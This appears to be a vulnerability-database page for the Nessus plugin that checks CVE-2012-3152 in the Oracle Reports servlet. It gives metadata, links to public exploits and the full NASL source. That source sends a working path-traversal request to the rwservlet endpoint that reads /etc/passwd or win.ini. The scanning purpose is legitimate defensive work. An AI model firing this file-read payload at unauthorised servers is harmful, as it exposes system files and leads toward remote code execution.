Oracle Reports Servlet Remote File Access - Nessus

Medium   Plugin ID: 73119

This page contains detailed information about the Oracle Reports Servlet Remote File Access Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 73119
Name: Oracle Reports Servlet Remote File Access
Filename: oracle_reports_file_access.nasl
Vulnerability Published: 2012-10-16
This Plugin Published: 2014-03-20
Last Modification Time: 2022-04-11
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: oracle_reports_detect.nbin
Required KB Items [?]: www/oracle_reports

Vulnerability Information


Severity: Medium
Vulnerability Published: 2012-10-16
Patch Published: 2012-10-16
CVE [?]: CVE-2012-3152
CPE [?]: cpe:/a:oracle:fusion_middleware

Synopsis

The remote web server hosts a web application that has a file access vulnerability.

Description

Nessus was able to exploit a file access vulnerability in the Oracle Reports servlet and retrieve to contents of a file. A remote attacker could use this vulnerability to read or write arbitrary files on the system, ultimately leading to remote code execution.

Solution

Apply the appropriate patch per the vendor's advisory.

Public Exploits


Target Network Port(s): 8888
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Oracle Reports Servlet Remote File Access vulnerability:

  1. Metasploit: exploit/multi/http/oracle_reports_rce
    [Oracle Forms and Reports Remote Code Execution]
  2. Exploit-DB: exploits/jsp/remote/31253.rb
    [EDB-31253: Oracle Forms and Reports 11.1 - Arbitrary Code Execution]
  3. Exploit-DB: exploits/windows/remote/31737.rb
    [EDB-31737: Oracle Forms and Reports - Remote Code Execution (Metasploit)]
  4. GitHub: https://github.com/Mekanismen/pwnacle-fusion
    [CVE-2012-3152: Automated exploit for CVE-2012-3153 / CVE-2012-3152]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2012-3152
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:N/E:H/RL:OF/RC:C
CVSS Base Score:6.4 (Medium)
Impact Subscore:4.9
Exploitability Subscore:10.0
CVSS Temporal Score:5.6 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.6 (Medium)

Go back to menu.

Plugin Source


This is the oracle_reports_file_access.nasl nessus plugin source code. This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(73119);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-3152");
  script_bugtraq_id(55955);
  script_xref(name:"EDB-ID", value:"31253");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");

  script_name(english:"Oracle Reports Servlet Remote File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that has a file access
vulnerability.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to exploit a file access vulnerability in the Oracle
Reports servlet and retrieve to contents of a file.  A remote attacker
could use this vulnerability to read or write arbitrary files on the
system, ultimately leading to remote code execution.");
  # http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c969a07f");
  # https://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?87547c81");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch per the vendor's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-3152");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Forms and Reports Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/03/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:fusion_middleware");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("oracle_reports_detect.nbin");
  script_require_keys("www/oracle_reports");
  script_require_ports("Services/www", 8888);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

appname = "Oracle Reports";

port = get_http_port(default:8888);

install = get_install_from_kb(
  appname:'oracle_reports',
  port:port,
  exit_on_fail:TRUE
);

vuln_script = install['dir'] + '/rwservlet';

traversal = mult_str(str:"../", nb:15);

file_list = make_list(traversal + "windows/win.ini",
                      traversal + "winnt/win.ini",
                      "c:/windows/win.ini",
                      "c:/winnt/win.ini",
                      "/etc/passwd");

exploit_request = NULL;
exploit_response = NULL;

foreach file (file_list)
{
  exploit = vuln_script + "?destype=cache&desformat=html&JOBTYPE=rwurl&URLPARAMETER=%22file:///" + file + "%22";
  res = http_send_recv3(method:"GET",
                        item:exploit,
                        port:port,
                        exit_on_fail:TRUE);

  if (
    # windows platforms
    (
      "win.ini" >< file &&
      (
       "[Mail]" >< res[2] ||
       "[fonts]" >< res[2] ||
       "; for 16-bit app support" >< res[2]
      )
    ) ||
    # *nix
    (
      "passwd" >< file &&
      res[2] =~ " root:.*:0:[01]:"
    )
  )
  {
    exploit_request = exploit;
    exploit_response = chomp(res[2]);
    break;
  }
}

if (!isnull(exploit_request))
{
  report = NULL;
  filename = NULL;
  output = NULL;
  request = NULL;
  exploit_request = build_url(port:port, qs:exploit_request);

  if (report_verbosity > 0)
  {
    report =
      '\n' + 'Nessus was able to exploit the vulnerability with the following' +
      '\n' + 'request :' +
      '\n' +
      '\n' + '  ' + exploit_request + '\n';

    if (report_verbosity > 1)
    {
      output = data_protection::redact_etc_passwd(output:exploit_response);
      filename = "win.ini";
      if ("passwd" >< file) filename = "/etc/passwd";
      request = make_list(req);
    }
  }

  security_report_v4(port:port,
                     extra:report,
                     severity:SECURITY_WARNING,
                     request:request,
                     file:filename,
                     output:output);

  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:'/'));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/oracle_reports_file_access.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\oracle_reports_file_access.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/oracle_reports_file_access.nasl

Go back to menu.

How to Run


Here is how to run the Oracle Reports Servlet Remote File Access as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Oracle Reports Servlet Remote File Access plugin ID 73119.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state oracle_reports_file_access.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 145223 - Oracle Primavera Gateway (Jan 2021 CPU)
  • 145245 - Oracle Primavera P6 Enterprise Project Portfolio Management (Jan 2021 CPU)
  • 145569 - Oracle Primavera Unifier (Jan 2021 CPU)
  • 148916 - Oracle Primavera Gateway (Apr 2021 CPU)
  • 148918 - Oracle Primavera Unifier (Apr 2021 CPU)
  • 151973 - Oracle Primavera Unifier (Jul 2021 CPU)
  • 151974 - Oracle Primavera Gateway (Jul 2021 CPU)
  • 154262 - Oracle Primavera Unifier (Oct 2021 CPU)
  • 154297 - Oracle Primavera Gateway (Oct 2021 CPU)
  • 156832 - Oracle Primavera Unifier (Jan 2022 CPU)
  • 156891 - Oracle Primavera P6 Enterprise Project Portfolio Management (Jan 2022 CPU)
  • 156893 - Oracle Primavera Gateway (Jan 2022 CPU)
  • 159919 - Oracle Primavera Unifier (Apr 2022 CPU)
  • 35363 - Oracle Secure Backup Administration Server login.php Arbitrary Command Injection
  • 47747 - Oracle Secure Backup Administration Server login.php Authentication Bypass
  • 69478 - Oracle WebCenter Content (April 2013 CPU)
  • 69479 - Oracle WebCenter Content (July 2013 CPU)
  • 73120 - Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure
  • 78603 - Oracle Endeca Information Discovery Studio Multiple Vulnerabilities (October 2014 CPU)
  • 78749 - Oracle Enterprise Data Quality Multiple Vulnerabilities (October 2014 CPU)
  • 78776 - Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file oracle_reports_file_access.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

Go back to menu.